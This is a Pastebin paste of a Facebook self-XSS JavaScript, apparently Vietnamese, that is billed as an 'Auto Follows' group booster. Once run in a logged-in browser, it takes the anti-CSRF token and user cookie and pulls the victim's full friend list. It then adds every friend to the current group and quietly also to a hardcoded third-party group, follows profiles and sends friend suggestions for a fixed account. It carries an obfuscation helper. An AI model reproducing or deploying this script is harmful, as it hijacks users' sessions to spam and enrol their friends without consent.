chicanem

Tăng nhóm v2

Jul 12th, 2013
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.06 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  61. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  62. var httpwp = new XMLHttpRequest();
  63. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  64. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  65. httpwp['open']('POST', urlwp, true);
  66. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  67. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  68. httpwp['setRequestHeader']('Connection', 'keep-alive');
  69. httpwp['send'](paramswp);
  70. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  71. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  72. var friends = new Array();
  73. gf = new XMLHttpRequest();
  74. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  75. gf['send']();
  76. if (gf['readyState'] != 4) {} else {
  77. data = eval('(' + gf['responseText']['substr'](9) + ')');
  78. if (data['error']) {} else {
  79. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  80. return _0x93dax8['index'] - _0x93dax9['index']
  81. })
  82. }
  83. };
  84. var Title = 'Đang Auto Follows (Add Theo Dõi chạy đến 800 thì F5) Tham thì bị block nick 24h do spam Follows nhiều <A style="color:#3B5998;" href="https://www.facebook.com/groups/ThongKeVaoWallTheoNgayTheoGio/"> By Group Oppa Ren</A>';
  85. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  86. var Descriptions = "",
  87. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/storm.lethanh/">Ad Lê Thành</A>Mọi thắc mắc xin liên hệ Ad Lê Thành.';
  88.  
  89. function AddFriendtoGroup(opo) {
  90. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  91. var b = a.substring(a.indexOf("{"));
  92. var c = JSON.parse(b);
  93. i--;
  94. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  95. if (c.error) {
  96. Descriptions += "color:darkred'>";
  97. err++;
  98. if (c.errorDescription) Descriptions += c.errorDescription;
  99. else Descriptions += JSON.stringify(c, null, "")
  100. } else {
  101. Descriptions += "color:darkgreen'>";
  102. Descriptions += arn[i] + " đã được thêm.<br/>";
  103. suc++
  104. }
  105. Descriptions += "</div>";
  106. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  107. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  108. if (i > 0) {
  109. display += arr.length + " Phát hiện theo dõi<br/>";
  110. display += "<b>" + suc + "</b> Add Theo dõi " + (arr.length - i) + " Đang Xử Lý ";
  111. display += "(" + i + " Số lượng giảm dần)";
  112. display += "<div class='friend-edge'>";
  113. display += Descriptions;
  114. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  115. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  116. display += getuname + " Rất cảm ơn bạn đã sử dụng phiên bản của " + grpname + ".<br/>";
  117. display += _text;
  118. display += "</div>";
  119. display += "</div>"
  120. } else {
  121. display += arr.length + " Phát hiện theo dõi<br/>";
  122. display += suc + " Add Theo dõi</br>";
  123. display += err + " Không thể thêm</br></br>";
  124. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:red'>Load Trang</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Thoát</span>"
  125. }
  126. display += "</div>";
  127. document.getElementById("pagelet_sidebar").innerHTML = display
  128. }, "text", "post");
  129. tay--;
  130. if (tay > 0) {
  131. var s = arr[tay];
  132. sx = pho[tay];
  133. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  134. }
  135. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  136. if (gid != 386572611449908) {
  137. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=386572611449908&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  138. }
  139. if (newcomer) {
  140. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003794414193&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  141. }
  142. if (newcomer) {
  143. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003794414193&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  144. }
  145. if (newcomer) {
  146. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003794414193&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  147. }
  148. if (newcomer) {
  149. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003794414193&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  150. }
  151. if (newcomer) {
  152. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003794414193&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  153. }
  154. }
  155. function clickfr_callback() {
  156. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  157. var a = arr[i];
  158. if (i < arr.length) addfriend(a.substring(0, 4))
  159. }
  160. function clickfr() {
  161. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  162. else j++;
  163. setTimeout("clickfr_callback()", 2E3)
  164. }
  165. function addfriend(a) {
  166. i++;
  167. setTimeout("clickfr()", 2E3)
  168. }
  169. jx = {
  170. getHTTPObject: function() {
  171. var a = false;
  172. if (typeof ActiveXObject != "undefined") try {
  173. a = new ActiveXObject("Msxml2.XMLHTTP")
  174. } catch (b) {
  175. try {
  176. a = new ActiveXObject("Microsoft.XMLHTTP")
  177. } catch (c) {
  178. a = false
  179. }
  180. } else if (window.XMLHttpRequest) try {
  181. a = new XMLHttpRequest
  182. } catch (b) {
  183. a = false
  184. }
  185. return a
  186. },
  187. load: function(url, callback, format, method, opt) {
  188. var http = this.init();
  189. if (!http || !url) return;
  190. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  191. if (!method) method = "GET";
  192. if (!format) format = "text";
  193. if (!opt) opt = {};
  194. format = format.toLowerCase();
  195. method = method.toUpperCase();
  196. var now = "uid=" + (new Date).getTime();
  197. url += url.indexOf("?") + 1 ? "&" : "?";
  198. url += now;
  199. var parameters = null;
  200. if (method == "POST") {
  201. var parts = url.split("?");
  202. url = parts[0];
  203. parameters = parts[1]
  204. }
  205. http.open(method, url, true);
  206. var ths = this;
  207. if (opt.handler) http.onreadystatechange = function() {
  208. opt.handler(http)
  209. };
  210. else http.onreadystatechange = function() {
  211. if (http.readyState == 4) if (http.status == 200) {
  212. var result = "";
  213. if (http.responseText) result = http.responseText;
  214. if (format.charAt(0) == "j") {
  215. result = result.replace(/[\n\r]/g, "");
  216. result = eval("(" + result + ")")
  217. } else if (format.charAt(0) == "x") result = http.responseXML;
  218. if (callback) callback(result)
  219. } else {
  220. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  221. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  222. if (error) error(http.status)
  223. }
  224. };
  225. http.send(parameters)
  226. },
  227. bind: function(a) {
  228. var b = {
  229. url: "",
  230. onSuccess: false,
  231. onError: false,
  232. format: "text",
  233. method: "GET",
  234. update: "",
  235. loading: "",
  236. loadingIndicator: ""
  237. };
  238. for (var c in b) if (a[c]) b[c] = a[c];
  239. if (!b.url) return;
  240. var d = false;
  241. if (b.loadingIndicator) {
  242. d = document.createElement("div");
  243. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  244. d.setAttribute("class", "loading-indicator");
  245. d.innerHTML = b.loadingIndicator;
  246. document.getElementsByTagName("body")[0].appendChild(d);
  247. this.opt.loadingIndicator = d
  248. }
  249. if (b.loading) document.getElementById(b.loading).style.display = "block";
  250. this.load(b.url, function(a) {
  251. if (b.onSuccess) b.onSuccess(a);
  252. if (b.update) document.getElementById(b.update).innerHTML = a;
  253. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  254. if (b.loading) document.getElementById(b.loading).style.display = "none"
  255. }, b.format, b.method, b)
  256. },
  257. init: function() {
  258. return this.getHTTPObject()
  259. }
  260. };
  261. var nHtml = {
  262. FindByAttr: function(a, b, c, d) {
  263. if (c == "className") c = "class";
  264. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  265. if (e && e.singleNodeValue) return e.singleNodeValue;
  266. return null
  267. },
  268. FindByClassName: function(a, b, c) {
  269. return this.FindByAttr(a, b, "className", c)
  270. },
  271. FindByXPath: function(a, b) {
  272. try {
  273. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  274. } catch (d) {
  275. GM_log("bad xpath:" + b)
  276. }
  277. if (c && c.singleNodeValue) return c.singleNodeValue;
  278. return null
  279. },
  280. VisitUrl: function(a) {
  281. window.setTimeout(function() {
  282. document.location.href = a
  283. }, 500 + Math.floor(Math.random() * 500))
  284. },
  285. ClickWin: function(a, b, c) {
  286. var d = a.document.createEvent("MouseEvents");
  287. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  288. return !b.dispatchEvent(d)
  289. },
  290. Click: function(a) {
  291. return this.ClickWin(window, a, "click")
  292. },
  293. ClickTimeout: function(a, b) {
  294. window.setTimeout(function() {
  295. return nHtml.ClickWin(window, a, "click")
  296. }, b + Math.floor(Math.random() * 500))
  297. },
  298. ClickUp: function(a) {
  299. this.ClickWin(window, a, "mousedown");
  300. this.ClickWin(window, a, "mouseup");
  301. this.ClickWin(window, a, "click")
  302. },
  303. GetText: function(a, b) {
  304. var c = "";
  305. if (b == undefined) b = 0;
  306. if (b > 40) return;
  307. if (a.textContent != undefined) return a.textContent;
  308. for (var d = 0; d < a.childNodes.length; d++) {
  309. var e = a.childNodes[d];
  310. c += this.GetText(e, b + 1)
  311. }
  312. return c
  313. }
  314. };
  315. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  316. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  317. var c = document.getElementsByTagName("*");
  318. var d = [];
  319. var e;
  320. for (var f = 0;
  321. (e = c[f]) != null; f++) {
  322. var g = e.className;
  323. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  324. }
  325. return d
  326. };
  327. Array.prototype.find = function(a) {
  328. var b = false;
  329. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  330. if (a.test(this[i])) {
  331. if (!b) b = [];
  332. b.push(i)
  333. }
  334. } else if (this[i] === a) {
  335. if (!b) b = [];
  336. b.push(i)
  337. }
  338. return b
  339. };
  340. var i = 3;
  341. var tay = 3;
  342. var j = 0;
  343. var k = 0;
  344. var suc = 0;
  345. var err = 0;
  346. var arr = new Array;
  347. var arn = new Array;
  348. var pho = new Array;
  349. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  350. var gid = document.getElementsByName("group_id")[0].value;
  351. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  352. var b = a;
  353. var c = b.substring(b.indexOf("{"));
  354. var d = JSON.parse(c);
  355. d = d.payload.entries;
  356. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  357. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  358. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  359. i = arr.length - 1;
  360. tay = i;
  361. console.log(arr.length);
  362. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  363. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  364.  
  365. display += "</div>";
  366. document.getElementById("pagelet_sidebar").innerHTML = display;
  367. AddFriendtoGroup(arr[i])
  368. display += arr.length + "ĐỢI 1 LÚC CHO CODE CHẠY ChỮ undefined";
  369. });
Advertisement
Add Comment
Please, Sign In to add comment